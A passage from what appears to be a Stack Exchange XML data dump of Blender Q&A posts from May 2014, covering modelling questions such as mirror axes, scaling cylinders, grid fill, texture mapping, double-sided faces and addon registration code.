bpy_extras.io_utils.axis_conversion(from_forward='Y', from_up='Z', to_forward='-Z', to_up='Y')&#xA;om = obj.matrix_world.to_3x3()&#xA;t = mm * om&#xA;v = t.to_euler('XZY') # not sure why this needs to be XZY for spot lights and XYZ for objects&#xA;print('pos:(%s, %s, %s)' % (obj.matrix_world.translation.x, obj.matrix_world.translation.z, -obj.matrix_world.translation.y))&#xA;print('rot:(%s, %s, %s)' % (degrees(v.x), degrees(v.y), degrees(v.z)))&#xA;# note: there is no need for the axis_conversion rotation compensation due to the spotlight facing down already&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see in the comments, there are still things I am not clear on and not sure I am doing right, so please feel free to comment/correct me where wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling something might be off with my rotation order stuff, but I don't know what it should be. All I know intuitively is that it makes sense to use XZY since that is what I am swizzling to, that should match the post-swizzled rotation order so it is XYZ in both systems right?&lt;/p&gt;&#xA;" OwnerUserId="1458" LastActivityDate="2014-05-01T00:22:17.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9034" PostTypeId="2" ParentId="9029" CreationDate="2014-05-01T00:45:13.980" Score="4" Body="&lt;p&gt;This is because you set the wrong mirror axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your screenshot, we see that it's the Y axis you want to mirror (as the center point is on the edge which is on the side of the green arrow: Y axis)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, try to set mirror axis to &lt;strong&gt;&quot;Y&quot;&lt;/strong&gt; instead of &quot;X&quot;.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-05-01T00:45:13.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9037" PostTypeId="1" AcceptedAnswerId="9048" CreationDate="2014-05-01T03:03:31.540" Score="5" ViewCount="2257" Body="&lt;p&gt;I'd like to be able to add or remove some of the standard tabs on the Tools panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dm0Tg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;because if I shrink the tab area, the tab names become unreadable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TwdB3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there a way to remove some of the tabs that I never use?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-05-01T12:17:09.747" Title="How can I customize which Tabs show in the Tool shelf/panel?" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9039" PostTypeId="1" AcceptedAnswerId="9046" CreationDate="2014-05-01T08:47:42.037" Score="5" ViewCount="4693" Body="&lt;p&gt;I would like to create faces within the selected edges that match the geometry outside. &#xA;In case that is not possible at all using &lt;em&gt;Grid Fill&lt;/em&gt; Is there another way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RHOQV.png&quot; alt=&quot;enter image description here&quot;&gt; &#xA;&lt;img src=&quot;https://i.stack.imgur.com/vG669.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me it doesn't look too different to the situation shown in the documentation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mzx7Y.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HxG9z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/28846&quot; rel=&quot;noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-05-01T08:54:27.340" LastActivityDate="2014-05-01T09:49:15.167" Title="Why doesn't the Grid Fill Tool work on this mesh?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9040" PostTypeId="1" AcceptedAnswerId="9076" CreationDate="2014-05-01T08:50:07.100" Score="1" ViewCount="359" Body="&lt;p&gt;I have a scene that renders differently when rendering from the command line and using the GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, objects go missing from the render when using the command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the following command (tested in OS-X terminal):&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-none prettyprint-override&quot;&gt;&lt;code&gt;/Applications/blender-2.5x/blender.app/Contents/MacOS/blender -b GzContrejour.blend -o bl_out/render.png -F JPEG -x 1 -f 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user3345" LastEditorUserId="1363" LastEditDate="2014-05-03T23:40:10.500" LastActivityDate="2014-05-03T23:40:10.500" Title="Objects/textures not showing when using command line render (Blender 2.5x)" Tags="&lt;command-line&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9041" PostTypeId="1" AcceptedAnswerId="9042" CreationDate="2014-05-01T09:07:12.583" Score="5" ViewCount="4285" Body="&lt;p&gt;I have a simple cylinder which is mirrored on both the X and Y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I scale it along the X axis, the two halves of the cylinder overlap, rather than scale as it would before the mirror modifier was applied:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UAqyS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't used Blender in a while and I know this is a simple fix.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="599" LastEditDate="2014-05-01T18:14:16.563" LastActivityDate="2014-05-01T18:14:16.563" Title="Scaling a mirrored object" Tags="&lt;modeling&gt;&lt;transforms&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9042" PostTypeId="2" ParentId="9041" CreationDate="2014-05-01T09:09:13.283" Score="3" Body="&lt;p&gt;Enable &lt;em&gt;Clipping&lt;/em&gt; on the mirror modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iMfGr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get it to scale completely as it would have before deleting half and mirroring, you must use the 3D cursor as the pivot (&lt;kbd&gt;.&lt;/kbd&gt;). The 3D cursor also has to be in the center of the cylinder. The easiest way to get it there is selecting middle vertices and pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt;Cursor to selection&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sSSpy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-01T09:24:27.197" LastActivityDate="2014-05-01T09:24:27.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9043" PostTypeId="1" AcceptedAnswerId="9044" CreationDate="2014-05-01T09:25:12.493" Score="18" ViewCount="20073" Body="&lt;p&gt;I am trying to scale a cylinder along both the X and Y axis at the same time, so as to attain the same value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to apply a mirror on both the X and Y axis, but this doesn't scale along the Y when I scale along the X axis. Using the mirror, I get the following result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PYBGd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for an equal scale on both the X and Y axis.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="599" LastEditDate="2014-05-01T18:13:29.583" LastActivityDate="2014-05-04T02:28:53.837" Title="Scaling a cylinder along both X and Y axis" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9044" PostTypeId="2" ParentId="9043" CreationDate="2014-05-01T09:26:46.290" Score="27" Body="&lt;p&gt;You can exclude an axis by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;X/Y/Z. So to scale on the X and Y you would press &lt;kbd&gt;S&lt;/kbd&gt;, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; and then drag the cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/9042/599&quot;&gt;With a mirror modifier&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7vBM1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-05-04T02:28:53.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9045" PostTypeId="1" CreationDate="2014-05-01T09:36:06.970" Score="4" ViewCount="1597" Body="&lt;p&gt;In the node editor the RGB Curves node only lets me keyframe the factor. The control points have boxes for x and y coordinates, but it doesn't allow me to keyframe these boxes. Is there a way around this?&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2015-07-04T01:28:43.567" Title="Is there a way of keyframing RGB curves?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;nodes&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9046" PostTypeId="2" ParentId="9039" CreationDate="2014-05-01T09:43:59.743" Score="3" Body="&lt;p&gt;As Gandalf pointed out the area can be &lt;em&gt;Grid Filled&lt;/em&gt; by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Separate &lt;kbd&gt;V&lt;/kbd&gt; the selection &lt;/li&gt;&#xA;&lt;li&gt;Grid Fill &lt;kbd&gt;Space&lt;/kbd&gt;,&lt;kbd&gt;Grid Fill&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;F&lt;/kbd&gt; / &lt;em&gt;Grid Fill&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Remove Doubles &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;V&lt;/kbd&gt; / &lt;em&gt;Remove Doubles&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g0qOB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-05-01T09:49:15.167" LastActivityDate="2014-05-01T09:49:15.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9047" PostTypeId="2" ParentId="9005" CreationDate="2014-05-01T11:23:17.293" Score="3" Body="&lt;p&gt;I think I finally found a reasonable solution that keeps text editable on the fly without intermediate to-mesh-converting, thanks to Kamil1064 from &lt;a href=&quot;http://polskikursblendera.pl/forum/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://polskikursblendera.pl/forum/&lt;/a&gt;&#xA;The secret is in shadow baking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;switch to Blender Render&lt;/li&gt;&#xA;&lt;li&gt;add plane&lt;/li&gt;&#xA;&lt;li&gt;unwrap it, add new empty texture to it&lt;/li&gt;&#xA;&lt;li&gt;position your text object slightly above plane&lt;/li&gt;&#xA;&lt;li&gt;add sun lamp, adjust it's angle to cast light straight down (rotation x0,y0,z0)&lt;/li&gt;&#xA;&lt;li&gt;adjust sun lamp settings to the following: Ray Shadow, Samples: 10, Soft Size: 0.010 (if you won't, you'll have jagged sharp shadow edges instead of nice antialiasing)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZlKjo.png&quot; alt=&quot;shadow settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select your plane and bake with settings: Bake Mode: Shadow&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/27utG.png&quot; alt=&quot;shadow baking&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If everything is set properly, you will have a nice, antialiased texture that you can save for later use. The best part is, it will be easily editable from within Blender, just select text object, press TAB and edit it, then press Bake again, and voila.&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2014-05-01T11:23:17.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9048" PostTypeId="2" ParentId="9037" CreationDate="2014-05-01T11:25:22.597" Score="4" Body="&lt;p&gt;Afaik the only way is to remove the tab in the python file of the UI toolbar. You can find this file in your blender folder. For me it is:    &lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-none prettyprint-override&quot;&gt;&lt;code&gt;C:\Program Files\Blender Foundation\Blender\2.XX\scripts\startup\bl_ui&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The name of the file is : &lt;em&gt;space_view3d_toolbar.py&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For removing a tab you have to open this file with for example &lt;a href=&quot;http://notepad-plus-plus.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Notepad++&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you have to find the tab that you want to remove. If you want to remove the &lt;em&gt;Relations&lt;/em&gt; tab for the object mode, you can follow below example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you have to find the section of the code for the object-mode. You can find it with this header in comment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ********** default tools for object-mode ****************&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next you have to find the right tab. The name of the tab is in the &lt;code&gt;bl_category&lt;/code&gt;, so for our example we have to find this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_category = &quot;Relations&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we can get rid of our tab, by either deleting the class of the tab, or by just making it a comment block like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kltU4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just have to put three quotes like this: &lt;code&gt;&quot;&quot;&quot;&lt;/code&gt;, before and after the class that you want to comment out. I prefer to put the class in comment, so that you can recover it if you do something wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can save your file and restart Blender.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="1363" LastEditDate="2014-05-01T12:17:09.747" LastActivityDate="2014-05-01T12:17:09.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9049" PostTypeId="1" AcceptedAnswerId="9060" CreationDate="2014-05-01T12:42:07.460" Score="5" ViewCount="2325" Body="&lt;p&gt;I have created a model which requires some faces to be dual sided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I intend to import this model into Unity. Reading about this, it seems that the recommendation is to duplicate the polygons and then flip the normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have done so far is simply to duplicate the all of the relevant faces using Shift+D and then flip the normals. I don't like this method though as it hampers any future alterations to the model itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditDate="2014-05-01T13:02:20.783" LastActivityDate="2021-05-03T04:20:42.290" Title="Dual normal faces" Tags="&lt;normals&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9050" PostTypeId="1" CreationDate="2014-05-01T15:59:29.277" Score="4" ViewCount="1092" Body="&lt;p&gt;I'm trying to get the tangent space information in my exported files, but it never seems to appear. I have a simple model with a UV mapping and export to FBX. The resulting file has no mention of tangents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/Autodesk_FBX&quot; rel=&quot;nofollow&quot;&gt;FBX reference&lt;/a&gt; indicates that tangents are supported, so perhaps something is wrong with my model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get an export to contain the tangents and bitangents?&lt;/p&gt;&#xA;" OwnerUserId="3347" LastEditorUserId="2217" LastEditDate="2014-05-01T16:31:53.137" LastActivityDate="2018-01-03T12:27:21.560" Title="Export tangent space FBX" Tags="&lt;export&gt;&lt;file-format&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9053" PostTypeId="2" ParentId="9045" CreationDate="2014-05-01T16:34:29.510" Score="3" Body="&lt;p&gt;It's apparently not possible; as a workaround, you could use a different node that you can keyframe, or use two or more rgb curve nodes and animate a mix node between them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add two or more rgb curve nodes using the same input and configure them as you like(for example each node reprents a key frame - start rgb values,intermediate rgb values, and end rgb values; mix their outputs in proper order using color mix nodes, and then animate the mix nodes factor. hope that's clear, sorry for the colossal delay, I've been signed in on a different account :)&lt;/p&gt;&#xA;" OwnerUserId="2928" LastEditorUserId="2928" LastEditDate="2014-07-19T18:23:57.967" LastActivityDate="2014-07-19T18:23:57.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9054" PostTypeId="2" ParentId="9040" CreationDate="2014-05-01T16:40:04.470" Score="0" Body="&lt;p&gt;My first instinct is to go into the UI and look at the paths on the files for the images that are part of the textures.  If they don't begin with a / or // then they can malfunction when you run blender from a different directory than when you start the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sounds like a problem that would best be solved interactively in IRC (freenode #blender) and then the true solution posted afterward.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-05-01T16:40:04.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9055" PostTypeId="2" ParentId="775" CreationDate="2014-05-01T16:59:41.947" Score="1" Body="&lt;p&gt;Another technique that I overheard on IRC is to augment the scene with a collison object that is thicker than the rendered object.  Just adjust the hide_render property in the outliner (looks like a camera icon) or maybe the layer so it doesn't show up as a rendered object.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-05-01T16:59:41.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9056" PostTypeId="1" AcceptedAnswerId="9059" CreationDate="2014-05-01T18:15:50.363" Score="7" ViewCount="4665" Body="&lt;p&gt;I would like to flatten a torus so that it looks more like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TiSWX.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already tried playing with the basic torus parameters but without success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="3348" LastEditorUserId="2173" LastEditDate="2014-05-03T02:19:39.687" LastActivityDate="2014-11-25T16:43:13.473" Title="How can I flatten a torus only on certain axes so that it looks more like a flattened band?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9057" PostTypeId="1" AcceptedAnswerId="9058" CreationDate="2014-05-01T19:04:58.157" Score="5" ViewCount="1791" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kW68b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make the brick lines straight so it looks like this?:&lt;img src=&quot;https://i.stack.imgur.com/lPbed.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2648" LastActivityDate="2014-05-01T19:39:26.487" Title="How to make brick texture straight on dome?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9058" PostTypeId="2" ParentId="9057" CreationDate="2014-05-01T19:39:26.487" Score="7" Body="&lt;p&gt;&lt;strong&gt;With generated texture coordinates:&lt;/strong&gt; In the texture tab of the properties panel you can set the mapping of the image texture to Sphere or Tube:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dc5KW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Sphere will cause the texture to be mapped so that the height of the bricks will cover a certain angle. This gives less streching, but the bricks near the top will cover less height. Tube will map it so that the bricks are all the same height, like the bricks should be, but will give you more distortion on the top of the sphere. But for your case tube is probably better.&lt;br&gt;&#xA;For comparison: Sphere mapping (left) and Tube mapping (right) of a brick texture on a sphere.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GqWQ8.png&quot; alt=&quot;Sphere mapping&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/az9XJ.png&quot; alt=&quot;Tube mapping&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With UV texture coordinates:&lt;/strong&gt; if you press U to unwrap your object, select &quot;Sphere Projection&quot; to get the effect of the sphere mapping or &quot;Cylinder Projection&quot; to get the effect of Tube mapping. Note however that these mappings depend on the angle of the current view on the object. You should look on the side of the sphere, not on the poles.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-05-01T19:39:26.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9059" PostTypeId="2" ParentId="9056" CreationDate="2014-05-01T20:24:31.550" Score="9" Body="&lt;p&gt;I assume you want a band with some thickness, like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HnGFU.png&quot; alt=&quot;Target&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are obviously many ways to make such a shape. Here are a couple:&lt;/p&gt;&#xA;&lt;h1&gt;Scaling a torus:&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add torus&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale on the Z (&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Optionally enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) and scale along the normals with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VJItn.gif&quot; alt=&quot;Torus solution&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Circle with subsurf modifier:&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a circle (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Mesh &amp;gt; Circle&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude (&lt;kbd&gt;E&lt;/kbd&gt;) into a band shape&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add subsurf modifier (&lt;kbd&gt;Ctrl&lt;/kbd&gt;1-5, where the number refers to the number of viewport subdivisions)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Optionally add loopcuts to flatten some sides of the band&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6PjBS.gif&quot; alt=&quot;Circle solution&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-11-25T16:43:13.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9060" PostTypeId="2" ParentId="9049" CreationDate="2014-05-01T20:35:33.507" Score="6" Body="&lt;p&gt;You can use a &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/generate/solidify.html#solidify-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Solidify&lt;/em&gt; modifier&lt;/a&gt; to do this automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can control the distance between the actual faces and the flipped faces with the &lt;em&gt;Thickness&lt;/em&gt;, and you can control which faces are doubled with a &lt;em&gt;Vertex group&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want faces connecting the original faces the flipped faces, disable &lt;em&gt;Fill rim&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can have double sided faces in blender, but I'm not sure if they are faster than rendering extra flipped faces (or that they are even exported). The settings are in &lt;em&gt;Properties &gt; Object Data &gt; Normals&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2017-03-22T20:36:18.223" LastActivityDate="2017-03-22T20:36:18.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9061" PostTypeId="2" ParentId="8997" CreationDate="2014-05-01T20:39:09.263" Score="1" Body="&lt;p&gt;If there are any custom PropertyGroup classes in the submodules, they have to be loaded in the correct order. You also need to &quot;unregister&quot; the submodules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a pattern in the main file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;    #register operators and propertyGroups explicitly&#xA;    bpy.utils.register_class(myPGClass1)&#xA;    #and/or run a helper function that finds all the classes and registers them&#xA;&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;    #add to the schema&#xA;    bpy.types.Scene.myTool = bpy.props.PointProperty(type=myPGClass1)&#xA;&#xA;&#xA;def unregister():&#xA;&#xA;    #important: delete custom schema&#xA;    del bpy.types.Scene.myTool&#xA;    #unregister_classes, or use helper&#xA;    bpy.utils.unregister_class(myPGClass1)&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == '__main__':&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The this should work find if everything is in the &lt;code&gt;__init__.py&lt;/code&gt; file. But since this is not the case, then these are the issues I discovered.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;register_module() just finds the &lt;code&gt;bpy.types.*&lt;/code&gt; classes in the module and runs register_class which looks to be a python call into C. So this doesn't look in the other files. So one has to call &lt;code&gt;register_class&lt;/code&gt; on anything defined there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;enabling and disabling scripts will find the &lt;code&gt;register&lt;/code&gt; and &lt;code&gt;unregister&lt;/code&gt; functions by duck-typing. But only the &lt;code&gt;__init__.py&lt;/code&gt; file will be in the list that gets checked. So anything in &lt;code&gt;unregister()&lt;/code&gt; will not get called. This is the &lt;code&gt;del types.myType&lt;/code&gt; line.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;even though registering and unregistering is not working. Reloading &lt;strong&gt;will&lt;/strong&gt; import the submodules, thus causing erratic behavior and classes will be reregistering, and the schema will try to update from a dereferenced raw pointer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;disabling/enabling addons has more to do with marking modules with a flag than with loading and unloading modules. Loading happens on first load and reload(f8).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2452" LastEditorUserId="1363" LastEditDate="2014-10-26T02:50:14.210" LastActivityDate="2014-10-26T02:50:14.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9062" PostTypeId="1" CreationDate="2014-05-01T22:48:48.053" Score="6" ViewCount="4615" Body="&lt;p&gt;Why do the Rigify controls separate from the body parts of my figure and also barely move my figure until I increase the value of the &lt;em&gt;FK / IK Switch&lt;/em&gt; setting in &lt;em&gt;Rig Main Properties&lt;/em&gt;? I'm finding it's nearly impossible to move the &quot;Legs&quot; of the model even when I move the rig's leg controls -- the rig's control just separates from the leg and barely moves the leg. Previously, though, they moved appropriately with no effort. What have I done to make them not move easily when I move the rig controls?&lt;/p&gt;&#xA;" OwnerUserId="3313" LastEditorUserId="2173" LastEditDate="2014-05-03T01:33:39.090" LastActivityDate="2015-08-12T11:57:36.390" Title="Why do Rigify controls no longer move my figure easily?" Tags="&lt;armature&gt;&lt;rigging&gt;&lt;rigify&gt;" 